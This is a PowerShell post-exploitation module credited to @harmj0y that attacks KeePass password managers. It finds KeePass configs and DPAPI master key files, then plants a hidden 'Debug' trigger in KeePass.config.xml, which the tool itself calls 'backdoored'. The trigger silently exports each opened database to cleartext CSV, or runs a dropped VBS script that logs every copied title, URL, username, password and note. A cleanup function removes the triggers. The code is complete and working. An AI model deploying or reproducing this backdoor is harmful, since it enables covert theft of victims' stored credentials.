#requires -version 2

function Find-KeePassconfig {
<#
    .SYNOPSIS

        Finds and parses any KeePass.config.xml (2.X) and KeePass.ini (1.X) files.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        This function searches for any KeePass.config.xml (KeePass 2.X) and KeePass.ini (1.X) files in C:\Users\
        and C:\Program Files[x86]\ by default, or any path specified by -Path. For any files found, it will
        parse the XML and output information relevant to the database location and keyfile/user master key information.

    .PARAMETER Path

        Optional path to a KeePass.config.xml/KeePass.ini file or specific folder to search for KeePass config files.

    .EXAMPLE

        PS C:\> Find-KeePassconfig

        DefaultDatabasePath    : C:\Users\testuser\Desktop\Database2.kdb
        SecureDesktop          :
        LastUsedFile           : C:\Users\testuser\Desktop\Database3.kdb
        DefaultKeyFilePath     : C:\Users\testuser\Desktop\k.bin
        DefaultUserAccountData :
        RecentlyUsed           : {C:\Users\testuser\Desktop\Database3.kdb, C:\Users\testuser\Desktop\k2.bin}
        KeePassConfigPath      : C:\Users\testuser\Desktop\blah\KeePass-1.31\KeePass.ini

        DefaultDatabasePath    : C:\Users\testuser\Desktop\NewDatabase.kdbx
        SecureDesktop          : False
        LastUsedFile           : C:\Users\testuser\Desktop\NewDatabase.kdbx
        DefaultKeyFilePath     : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.chm
        DefaultUserAccountData : @{UserDomain=TESTLAB; UserKeePassDPAPIBlob=C:\Users\testuser\AppData\Roaming\KeePass\Protected
                                 UserKey.bin; UserSid=S-1-5-21-456218688-4216621462-1491369290-1210; UserName=testuser; UserMas
                                 terKeyFiles=System.Object[]}
        RecentlyUsed           : {C:\Users\testuser\Desktop\NewDatabase.kdbx}
        KeePassConfigPath      : C:\Users\testuser\Desktop\blah\KeePass-2.34\KeePass.config.xml
#>

    [CmdletBinding()]
    param(
        [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
        [ValidateScript({Test-Path -Path $_ })]
        [Alias('FullName')]
        [String[]]
        $Path
    )

    BEGIN {

        function local:Get-IniContent {
        <#
            .SYNOPSIS

                This helper parses an .ini file into a proper PowerShell object.

                Author: 'The Scripting Guys'
                Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/

            .LINK

                https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/
        #>
            [CmdletBinding()]
            Param(
                [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
                [Alias('FullName')]
                [ValidateScript({ Test-Path -Path $_ })]
                [String[]]
                $Path
            )

            PROCESS {
                ForEach($TargetPath in $Path) {
                    $IniObject = @{}
                    Switch -Regex -File $TargetPath {
                        "^\[(.+)\]" # Section
                        {
                            $Section = $matches[1].Trim()
                            $IniObject[$Section] = @{}
                            $CommentCount = 0
                        }
                        "^(;.*)$" # Comment
                        {
                            $Value = $matches[1].Trim()
                            $CommentCount = $CommentCount + 1
                            $Name = 'Comment' + $CommentCount
                            $IniObject[$Section][$Name] = $Value
                        }
                        "(.+?)\s*=(.*)" # Key
                        {
                            $Name, $Value = $matches[1..2]
                            $Name = $Name.Trim()
                            $Values = $Value.split(',') | ForEach-Object {$_.Trim()}
                            if($Values -isnot [System.Array]) {$Values = @($Values)}
                            $IniObject[$Section][$Name] = $Values
                        }
                    }
                    $IniObject
                }
            }
        }

        function Local:Get-KeePassINIFields {
            # helper that parses a 1.X KeePass.ini into a custom object
            [CmdletBinding()]
            Param (
                [Parameter(Mandatory=$True)]
                [ValidateScript({ Test-Path -Path $_ })]
                [String]
                $Path
            )

            $KeePassINIPath = Resolve-Path -Path $Path
            $KeePassINIPathParent = $KeePassINIPath | Split-Path -Parent
            $KeePassINI = Get-IniContent -Path $KeePassINIPath
            $RecentlyUsed = @()

            try {
                if($KeePassINI.KeePass.KeeLastDb) {
                    $LastUsedFile = Resolve-Path -Path "$KeePassINIPathParent\$($KeePassINI.KeePass.KeeLastDb)" -ErrorAction Stop
                }
            }
            catch {}

            try {
                if($KeePassINI.KeePass.KeeKeySourceID0) {
                    $DefaultDatabasePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceID0 -ErrorAction SilentlyContinue
                }
            }
            catch {}

            try {
                if($KeePassINI.KeePass.KeeKeySourceValue0) {
                    $DefaultKeyFilePath = Resolve-Path -Path $KeePassINI.KeePass.KeeKeySourceValue0 -ErrorAction SilentlyContinue
                }
            }
            catch {}

            # grab any additional cached databases/key information
            $KeePassINI.KeePass.Keys | Where-Object {$_ -match 'KeeKeySourceID[1-9]+'} | Foreach-Object {
                try {
                    $ID = $_[-1]
                    $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceID${ID}"]
                    $RecentlyUsed += $KeePassINI.Keepass["KeeKeySourceValue${ID}"]
                }
                catch{}
            }

            $KeePassINIProperties = @{
                'KeePassConfigPath' = $KeePassINIPath
                'SecureDesktop' = $Null
                'LastUsedFile' = $LastUsedFile
                'RecentlyUsed' = $RecentlyUsed
                'DefaultDatabasePath' = $DefaultDatabasePath
                'DefaultKeyFilePath' = $DefaultKeyFilePath
                'DefaultUserAccountData' = $Null
            }
            $KeePassINIInfo = New-Object -TypeName PSObject -Property $KeePassINIProperties
            $KeePassINIInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config')
            $KeePassINIInfo
        }

        function Local:Get-KeePassXMLFields {
            # helper that parses a 2.X KeePass.config.xml into a custom object
            [CmdletBinding()]
            Param (
                [Parameter(Mandatory=$True)]
                [ValidateScript({ Test-Path -Path $_ })]
                [String]
                $Path
            )

            $KeePassXMLPath = Resolve-Path -Path $Path
            $KeePassXMLPathParent = $KeePassXMLPath | Split-Path -Parent
            [Xml]$KeePassXML = Get-Content -Path $KeePassXMLPath

            $LastUsedFile = ''
            $RecentlyUsed = @()
            $DefaultDatabasePath = ''
            $DefaultKeyFilePath = ''
            $DefaultUserAccountData = $Null

            if($KeePassXML.Configuration.Application.LastUsedFile) {
                $LastUsedFile = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Application.LastUsedFile.Path)" -ErrorAction SilentlyContinue
            }

            if($KeePassXML.Configuration.Application.MostRecentlyUsed.Items) {
                $KeePassXML.Configuration.Application.MostRecentlyUsed.Items | Foreach-Object {
                    Resolve-Path -Path "$KeePassXMLPathParent\$($_.ConnectionInfo.Path)" -ErrorAction SilentlyContinue | Foreach-Object {
                        $RecentlyUsed += $_
                    }
                }
            }

            if($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath) {
                $DefaultDatabasePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.DatabasePath)" -ErrorAction SilentlyContinue
            }

            if($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath) {
                $DefaultKeyFilePath = Resolve-Path -Path "$KeePassXMLPathParent\$($KeePassXML.Configuration.Defaults.KeySources.Association.KeyFilePath)" -ErrorAction SilentlyContinue
            }

            $DefaultUserAccount = $KeePassXML.Configuration.Defaults.KeySources.Association.UserAccount -eq 'true'

            $SecureDesktop = $KeePassXML.Configuration.Security.MasterKeyOnSecureDesktop -eq 'true'

            if($DefaultUserAccount) {

                $UserPath = $Path.Split('\')[0..2] -join '\'

                $UserMasterKeyFolder = Get-ChildItem -Path "$UserPath\AppData\Roaming\Microsoft\Protect\" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName

                if($UserMasterKeyFolder) {

                    $UserSid = $UserMasterKeyFolder | Split-Path -Leaf

                    try {
                        $UserSidObject = (New-Object System.Security.Principal.SecurityIdentifier($UserSid))
                        $UserNameDomain = $UserSidObject.Translate([System.Security.Principal.NTAccount]).Value

                        $UserDomain, $UserName = $UserNameDomain.Split('\')
                    }
                    catch {
                        Write-Warning "Unable to translate SID from $UserMasterKeyFolder , defaulting to user name"
                        $UserName = $UserPath.Split('\')[-1]
                        $UserDomain = $Null
                    }

                    $UserMasterKeyFiles = @(, $(Get-ChildItem -Path $UserMasterKeyFolder -Force | Select-Object -ExpandProperty FullName) )
                }
                else {
                    $UserSid = $Null
                    $UserName = $Null
                    $UserDomain = $Null
                }

                $UserKeePassDPAPIBlob = Get-Item -Path "$UserPath\AppData\Roaming\KeePass\ProtectedUserKey.bin" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty FullName

                $UserMasterKeyProperties = @{
                    'UserSid' = $UserSid
                    'UserName' = $UserName
                    'UserDomain' = $UserDomain
                    'UserKeePassDPAPIBlob' = $UserKeePassDPAPIBlob
                    'UserMasterKeyFiles' = $UserMasterKeyFiles
                }
                $DefaultUserAccountData = New-Object -TypeName PSObject -Property $UserMasterKeyProperties
            }

            $KeePassXmlProperties = @{
                'KeePassConfigPath' = $KeePassXMLPath
                'SecureDesktop' = $SecureDesktop
                'LastUsedFile' = $LastUsedFile
                'RecentlyUsed' = $RecentlyUsed
                'DefaultDatabasePath' = $DefaultDatabasePath
                'DefaultKeyFilePath' = $DefaultKeyFilePath
                'DefaultUserAccountData' = $DefaultUserAccountData
            }
            $KeePassXmlInfo = New-Object -TypeName PSObject -Property $KeePassXmlProperties
            $KeePassXmlInfo.PSObject.TypeNames.Insert(0, 'KeePass.Config')
            $KeePassXmlInfo
        }
    }

    PROCESS {
        if($PSBoundParameters['Path']) {
            $XmlFilePaths = $Path
        }
        else {
            # possible locations for KeePass configs
            $XmlFilePaths = @("$($Env:WinDir | Split-Path -Qualifier)\Users\")
            $XmlFilePaths += "${env:ProgramFiles(x86)}\"
            $XmlFilePaths += "${env:ProgramFiles}\"
        }

        $XmlFilePaths | Foreach-Object { Get-ChildItem -Path $_ -Recurse -Include @('KeePass.config.xml', 'KeePass.ini') -ErrorAction SilentlyContinue } | Where-Object { $_ } | Foreach-Object {
            Write-Verbose "Parsing KeePass config file '$($_.Fullname)'"

            if($_.Extension -eq '.xml') {
                Get-KeePassXMLFields -Path $_.Fullname
            }
            else {
                Get-KeePassINIFields -Path $_.Fullname
            }
        }
    }
}


function Get-KeePassConfigTrigger {
<#
    .SYNOPSIS

        Extracts out the trigger specifications from a KeePass 2.X configuration XML file.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        This function takes a the path to a KeePass.config.xml file or the input from Find-KeePassConfig,
        reads the configuration XML, replaces event/action GUIDs with their readable names, and outputs
        each trigger as a custom PSObject.

    .PARAMETER Path

        Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.

    .EXAMPLE

        PS C:\> $Triggers = Find-KeePassconfig | Get-KeePassConfigTrigger
        PS C:\> $Triggers


        KeePassXMLPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml
        Guid           : pagwKjmh8U6WbcplUbQnKg==
        Name           : blah
        Enabled        : false
        InitiallyOn    : false
        Events         : Events
        Conditions     :
        Actions        : Actions



        PS C:\> $Triggers.Events.Event

        Name                 Parameters
        ----                 ----------
        Opened database file Parameters


        PS C:\> $Triggers.Actions.Action

        Name                   Parameters
        ----                   ----------
        Export active database Parameters
#>
    [CmdletBinding()]
    param(
        [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
        [Object[]]
        $Path
    )
    BEGIN {
        $EventGUIDs = @{
            '1M7NtUuYT/KmqeJVJh7I6A==' = 'Application initialized'
            '2PMe6cxpSBuJxfzi6ktqlw==' = 'Application started and ready'
            'goq3q7EcTr+AOTY/kXGXeA==' = 'Application exit'
            '5f8TBoW4QYm5BvaeKztApw==' = 'Opened database file'
            'lcGm/XJ8QMei+VsPoJljHA==' = 'Saving database file'
            's6j9/ngTSmqcXdW6hDqbjg==' = 'Saved database file'
            'jOremqgXSRmjL/QeOx3sSQ==' = 'Closing database file (before saving)'
            'lPpw5bE/QSamTgZP2MNslQ==' = 'Closing database file (after saving)'
            'P35exipUTFiVRIX78m9W3A==' = 'Copied entry data to clipboard'
            'jRLUmvLLT/eo78/arGJomQ==' = 'User interface state updated'
            'R0dZkpenQ6K5aB8fwvebkg==' = 'Custom toolbar button clicked'
        }

        $ActionGUIDs = @{
            '2uX4OwcwTBOe7y66y27kxw==' = 'Execute command line / URL'
            'tkamn96US7mbrjykfswQ6g==' = 'Change trigger on/off state'
            '/UFV1XmPRPqrifL4cO+UuA==' = 'Open database file'
            '9VdhS/hMQV2pE3o5zRDwvQ==' = 'Save active database'
            'Iq135Bd4Tu2ZtFcdArOtTQ==' = 'Synchronize active database with a file/URL'
            'gOZ/TnLxQEWRdh8sI9jsvg==' = 'Import into active database'
            'D5prW87VRr65NO2xP5RIIg==' = 'Export active database'
            'W79FnVS/Sb2X+yzuX5kKZw==' = 'Close active database'
            'P7gzLdYWToeZBWTbFkzWJg==' = 'Activate database (select tab)'
            'Oz0+MeSzQqa6zNXAO6ypaQ==' = 'Wait'
            'CfePcyTsT+yItiXVMPQ0bg==' = 'Show message box'
            'QGmlNlcbR5Kps3NlMODPww==' = 'Perform global auto-type'
            'MXCPrWSTQ/WU7sgaI24yTQ==' = 'Perform auto-type with selected entry'
            'Qug3gXPTTuyBSJ47NqyDhA==' = 'Show entries by tag'
            'lYGPRZlmSYirPoboGpZoNg==' = 'Add custom toolbar button'
            '1m1BomyyRLqkSApB+glIeQ==' = 'Remove custom toolbar button'
        }
    }
    PROCESS {

        ForEach($Object in $Path) {
            if($Object -is [String]) {
                $KeePassXMLPath = $Object
            }
            elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
                $KeePassXMLPath = [String]$Object.KeePassConfigPath
            }
            elseif ($Object.PSObject.Properties['Path']) {
                $KeePassXMLPath = [String]$Object.Path
            }
            elseif ($Object.PSObject.Properties['FullName']) {
                $KeePassXMLPath = [String]$Object.FullName
            }
            else {
                $KeePassXMLPath = [String]$Object
            }

            if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
                $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath

                $KeePassXML = ([xml](Get-Content -Path $KeePassXMLPath)).InnerXml

                $EventGUIDs.Keys | Foreach-Object {
                    $KeePassXML = $KeePassXML.Replace($_, $EventGUIDs[$_])
                }

                $ActionGUIDs.Keys | Foreach-Object {
                    $KeePassXML = $KeePassXML.Replace($_, $ActionGUIDs[$_])
                }
                $KeePassXML = $KeePassXML.Replace('TypeGuid', 'Name')
                $KeePassXML = [xml]$KeePassXML

                $Triggers = $KeePassXML.SelectNodes('Configuration/Application/TriggerSystem/Triggers')

                $Triggers | Select-Object -Expand Trigger -ErrorAction SilentlyContinue | ForEach-Object {
                    $_.PSObject.TypeNames.Insert(0, 'KeePass.Trigger')
                    $_ | Add-Member Noteproperty 'KeePassConfigPath' $KeePassXMLPath.Path
                    $_
                }
            }
        }
    }
}


function Add-KeePassConfigTrigger {
<#
    .SYNOPSIS

        Adds a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        Inserts a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either
        export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the
        clipboard from KeePass to $ExportPath ('ExfilDataCopied').

    .PARAMETER Path

        Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.

    .PARAMETER Action

        Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export
        copied data to $ExportPath).

    .PARAMETER ExportPath

        The path to export data and/or the $TriggerName.vbs to.

    .PARAMETER TriggerName

        The name for the trigger, default to 'Debug'.

    .EXAMPLE

        PS C:\> 'C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml' | Find-KeePassconfig | Add-KeePassConfigTrigger -Verbose
        VERBOSE: KeePass XML set to export database to C:\Users\harmj0y.TESTLAB\AppData\Roaming\KeePass
        VERBOSE: C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml backdoored
        PS C:\> Find-KeePassconfig C:\Users\ | Get-KeePassConfigTrigger


        KeePassConfigPath : C:\Users\harmj0y.TESTLAB\Desktop\keepass\KeePass-2.34\KeePass.config.xml
        Guid              : PtbQvEQp00KFSqVteVdBew==
        Name              : Debug
        Events            : Events
        Conditions        :
        Actions           : Actions
#>
    [CmdletBinding()]
    param(
        [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
        [ValidateNotNullOrEmpty()]
        [Object[]]
        $Path,

        [Parameter(Position = 1)]
        [ValidateSet('ExportDatabase', 'ExfilDataCopied')]
        [String]
        $Action = 'ExportDatabase',

        [Parameter(Position = 2)]
        [ValidateScript({Test-Path -Path $_ })]
        [String]
        $ExportPath = "${Env:APPDATA}\KeePass",

        [Parameter(Position = 3)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TriggerName = 'Debug'
    )
    BEGIN {

        $ExportPathFolder = Resolve-Path -Path $ExportPath -ErrorAction Stop
        if ((Get-Item -Path $ExportPathFolder) -isnot [System.IO.DirectoryInfo]) {
            throw 'ExportPath must be a directory!'
        }

        if($Action -eq 'ExportDatabase') {
            # 'Opened database file'
            $EventTriggerGUID = '5f8TBoW4QYm5BvaeKztApw=='

            # 'Export active database'
            $ActionGUID = 'D5prW87VRr65NO2xP5RIIg=='

            $TriggerXML = [xml] @"
<Trigger>
    <Guid>$([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray()))</Guid>
    <Name>$TriggerName</Name>
    <Events>
        <Event>
            <TypeGuid>$EventTriggerGUID</TypeGuid>
            <Parameters>
                <Parameter>0</Parameter>
                <Parameter />
            </Parameters>
        </Event>
    </Events>
    <Conditions />
    <Actions>
        <Action>
            <TypeGuid>$ActionGUID</TypeGuid>
            <Parameters>
                <Parameter>$($ExportPath)\{DB_BASENAME}.csv</Parameter>
                <Parameter>KeePass CSV (1.x)</Parameter>
                <Parameter />
                <Parameter />
            </Parameters>
        </Action>
    </Actions>
</Trigger>
"@

            Write-Verbose "KeePass XML set to export database to $ExportPath"
        }
        else {
            # 'ExfilDataCopied'

            # 'Copied entry data to clipboard'
            $EventTriggerGUID = 'P35exipUTFiVRIX78m9W3A=='

            # 'Execute command line / URL'
            $ActionGUID = '2uX4OwcwTBOe7y66y27kxw=='

            $ExfilVBSLocation = "$ExportPath\$($TriggerName).vbs"

            # write out VBS to location above
            $ExfilVBS = @"
Set objArgs = Wscript.Arguments
Dim oFS : Set oFS = CreateObject("Scripting.FileSystemObject")
Dim objFile : Set objFile = oFS.OpenTextFile("$ExportPath\$($TriggerName).txt", 8, True)
For Each strArg in objArgs
    objFile.Write strArg & ","
Next
objFile.Write vbCrLf
objFile.Close
"@

            $ExfilVBS | Out-File -Encoding ASCII -FilePath $ExfilVBSLocation
            Write-Verbose "Exfil VBS output to $ExfilVBSLocation set to export data to $ExportPath\$($TriggerName).txt"

            $TriggerXML = [xml] @"
<Trigger>
    <Guid>$([Convert]::ToBase64String([System.GUID]::NewGuid().ToByteArray()))</Guid>
    <Name>$TriggerName</Name>
    <Events>
        <Event>
            <TypeGuid>$EventTriggerGUID</TypeGuid>
            <Parameters>
                <Parameter>0</Parameter>
                <Parameter />
            </Parameters>
        </Event>
    </Events>
    <Conditions />
    <Actions>
        <Action>
            <TypeGuid>$ActionGUID</TypeGuid>
            <Parameters>
                <Parameter>%WINDIR%\System32\wscript.exe</Parameter>
                <Parameter>$ExfilVBSLocation "{TITLE}" "{URL}" "{USERNAME}" "{PASSWORD}" "{NOTES}"</Parameter>
                <Parameter>False</Parameter>
            </Parameters>
        </Action>
    </Actions>
</Trigger>
"@

            Write-Verbose "KeePass XML set to trigger $ExfilVBSLocation"
        }
    }

    PROCESS {

        ForEach($Object in $Path) {
            if($Object -is [String]) {
                $KeePassXMLPath = $Object
            }
            elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
                $KeePassXMLPath = [String]$Object.KeePassConfigPath
            }
            elseif ($Object.PSObject.Properties['Path']) {
                $KeePassXMLPath = [String]$Object.Path
            }
            elseif ($Object.PSObject.Properties['FullName']) {
                $KeePassXMLPath = [String]$Object.FullName
            }
            else {
                $KeePassXMLPath = [String]$Object
            }

            if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
                $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath

                $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)

                $RandomGUID = [System.GUID]::NewGuid().ToByteArray()

                if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -is [String]) {
                    $Triggers = $KeePassXML.CreateElement('Triggers')
                    $Null = $Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True))
                    $Null = $KeePassXML.Configuration.Application.TriggerSystem.ReplaceChild($Triggers, $KeePassXML.Configuration.Application.TriggerSystem.SelectSingleNode('Triggers'))
                }
                else {
                    $Null = $KeePassXML.Configuration.Application.TriggerSystem.Triggers.AppendChild($KeePassXML.ImportNode($TriggerXML.Trigger, $True))
                }

                $KeePassXML.Save($KeePassXMLPath)

                Write-Verbose "$KeePassXMLPath backdoored"
            }
        }
    }
}


function Remove-KeePassConfigTrigger {
<#
    .SYNOPSIS

        Removes a KeePass exfiltration trigger to a KeePass.config.xml path or result from Find-KeePassConfig.

        Author: @harmj0y
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None

    .DESCRIPTION

        Removes any custom a custom KeePass.config.xml trigger into a KeePass file location. The trigger -Action can either
        export a database to $ExportPath whenever a database is open ('ExportDatabase') or write an data copied on the
        clipboard from KeePass to $ExportPath ('ExfilDataCopied').

    .PARAMETER Path

        Required path to a KeePass.config.xml file or an object result from Find-KeePassConfig.

    .PARAMETER Action

        Either 'ExportDatabase' (export opened databases to $ExportPath) or 'ExfilDataCopied' (export
        copied data to $ExportPath).

    .PARAMETER ExportPath

        The path to export data and/or the $TriggerName.vbs to.

    .PARAMETER TriggerName

        The name for the trigger, default to 'Debug'.

    .EXAMPLE

        PS C:\> Find-KeePassconfig C:\users\ | Remove-KeePassConfigTrigger


        Guid       : wEIpZ61vk0yV5uENe5z0oA==
        Name       : Debug
        Events     : Events
        Conditions :
        Actions    : Actions



        PS C:\> Find-KeePassconfig C:\users\ | Get-KeePassConfigTrigger
        PS C:\>
#>
    [CmdletBinding()]
    param(
        [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)]
        [ValidateNotNullOrEmpty()]
        [Object[]]
        $Path,

        [Parameter(Position = 1)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TriggerName = '*'
    )

    PROCESS {

        ForEach($Object in $Path) {

            if($Object -is [String]) {
                $KeePassXMLPath = $Object
            }
            elseif ($Object.PSObject.Properties['KeePassConfigPath']) {
                $KeePassXMLPath = [String]$Object.KeePassConfigPath
            }
            elseif ($Object.PSObject.Properties['Path']) {
                $KeePassXMLPath = [String]$Object.Path
            }
            elseif ($Object.PSObject.Properties['FullName']) {
                $KeePassXMLPath = [String]$Object.FullName
            }
            else {
                $KeePassXMLPath = [String]$Object
            }

            Write-Verbose "KeePassXMLPath: $KeePassXMLPath"

            if($KeePassXMLPath -and ($KeePassXMLPath -match '.\.xml$') -and (Test-Path -Path $KeePassXMLPath) ) {
                $KeePassXMLPath = Resolve-Path -Path $KeePassXMLPath

                $KeePassXML = [xml](Get-Content -Path $KeePassXMLPath)

                $RandomGUID = [System.GUID]::NewGuid().ToByteArray()

                if ($KeePassXML.Configuration.Application.TriggerSystem.Triggers -isnot [String]) {

                    $Children = $KeePassXML.Configuration.Application.TriggerSystem.Triggers | ForEach-Object {$_.Trigger} | Where-Object {$_.Name -like $TriggerName}
                    Write-Verbose "Removing triggers matching name $TriggerName"
                    ForEach($Child in $Children) {
                        $KeePassXML.Configuration.Application.TriggerSystem.Triggers.RemoveChild($Child)
                    }
                }
                try {
                    $KeePassXML.Save($KeePassXMLPath)
                    Write-Verbose "$KeePassXMLPath triggers removed"
                }
                catch {
                    Write-Warning "Error setting path $KeePassXMLPath : $_"
                }

            }
        }
    }
}
